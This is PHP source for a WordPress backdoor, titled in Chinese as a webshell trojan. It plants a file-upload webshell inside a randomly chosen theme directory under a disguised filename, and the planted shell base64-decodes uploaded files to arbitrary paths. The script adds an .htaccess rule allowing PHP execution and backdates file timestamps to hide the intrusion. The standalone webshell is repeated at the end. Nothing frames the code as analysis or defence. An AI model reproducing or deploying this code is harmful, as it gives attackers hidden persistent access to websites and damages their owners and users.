wordpress后门webshell木马程序

<?php
function search_files($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath))
      array_push($found , $dir.$f);
  }
  return $found;
}

function addslash($dir) {
  $lc = substr($dir , -1);
  if ($lc != "/")
    $dir .= "/";
  return $dir;
}

function get_timestamp($dir) {
  $found = array();
  $dir = addslash($dir);

  $files = scandir($dir);
  foreach ($files as $f) {
    if($f === '.' or $f === '..') continue;
    $fpath = $dir . $f;
    if (!is_dir($fpath)) {
      array_push($found , filemtime($dir . $f));
    }
  }
  return min($found);
}

function fixslashes($path) {
  return str_replace('//','/',$path);
}

function find_wp_index($dir){
  $edirs = explode("/", $dir);
  $wpdir = '';
  while(count($edirs)) {
    $path = implode("/", $edirs);
    if(file_exists($path . "/wp-config.php")) {
      $wpdir = $path;
      break;
    }
    array_pop($edirs);
  }
  return $wpdir;
}

function load_file() {
  $shellbase = array("index" , "class" , "theme" , "page" , "content" , "search");
  $shellsuffix = array("-page" , "-content" , "-navs" , "-layout" , "-top" , "-bottom" , "-search" , "-tags" , "-compat" , "-rss" , "-functions" , "-css" , "-model" , "-widget");
  $goodcode = '<?php if($_GET[\'df\'] ==1) {if($_FILES[\'fl\']){move_uploaded_file($_FILES[\'fl\'][\'tmp_name\'], $_POST[\'flname\']);$f = file_get_contents($_POST[\'flname\']);$c = base64_decode($f); file_put_contents($_POST[\'flname\'],$c);echo \'Uploaded\';} else { echo \'Problem\';} unlink(__FILE__);} else {echo \'Hello\';}?>';
  $htaccess = '<Files *.php>' . "\r\n" . 'Order allow,deny' . "\r\n" . 'Allow from all' . "\r\n" . '</Files>';
  $filedir = pathinfo(__FILE__,PATHINFO_DIRNAME);
  $wpindex = find_wp_index($filedir);
  $furn = '';
  if (!$wpindex) {
    print("wpindex not found");
    exit();
  }
  $allthemes = scandir(fixslashes($wpindex."/wp-content/themes/"));
  $dirslist = array();
  foreach($allthemes as $dir) {
    if($dir === '.' or $dir === '..') continue;
        $themepath = fixslashes($wpindex . "/wp-content/themes/" . $dir);
        if (is_dir($themepath))
          array_push($dirslist , $dir);
  }
  $i = array_rand($dirslist);
  $tdir = $dirslist[$i];
  $sdir = fixslashes($wpindex . "/wp-content/themes/" . $tdir . "/");
  $files = search_files($sdir);
  $done = false;
  $fpath = '';

  $ib = array_rand($shellbase);
  $fbase = $shellbase[$ib];
  $is = array_rand($shellsuffix);
  $fnew = $fbase . $shellsuffix[$is] . '.php';

  while(!$done && !empty($files)) {
    $i = array_rand($files);
    $themefile = $files[$i];
    unset($files[$i]);

    if (strpos($themefile , '.php') !== false) {
      $fpath = substr($themefile,0,-4);
      $is = array_rand($shellsuffix);
      $fpath = fixslashes($fpath . $shellsuffix[$is] . '.php');
      $done = true;
    }
  }
  if (!$done)
    $fpath = fixslashes($sdir . $fnew);

  $ind = strrpos($fpath , '/');
  $fname = substr($fpath, $ind + 1);
  $dirmtime = filemtime($sdir);
  $goodfile = fopen($fpath , "w+");
  if (!$goodfile) {
    $fpath = fixslashes($filedir . "/" . $fnew);
    $goodfile = fopen($fpath , "w+") or die("Unable to open file");
  }
  fwrite($goodfile , $goodcode);
  fclose($goodfile);
  $timestamp = get_timestamp($sdir);
  $htaccess_file = $sdir . '.htaccess';
  $hfile = fopen($htaccess_file , "w+");
  if ($hfile) {
    fwrite($hfile,$htaccess);
    fclose($hfile);
  }
  touch($fpath,$timestamp);
  touch($htaccess_file,$timestamp);
  touch($sdir,$dirmtime);

  if ($fpath) {
    $furn = fixslashes('/' . str_replace($wpindex , '' , $fpath));
  }
  return $furn;
}

if(isset($_GET['df']) && $_GET['df'] == '1')
  $shell = load_file();
  echo '<spath>' . $shell . '</spath>';
?>

<?php if($_GET['df'] ==1) {if($_FILES['fl']){move_uploaded_file($_FILES['fl']['tmp_name'], $_POST['flname']);$f = file_get_contents($_POST['flname']);$c = base64_decode($f); file_put_contents($_POST['flname'],$c);echo 'Uploaded';} else { echo 'Problem';} unlink(__FILE__);} else {echo 'Hello';}?>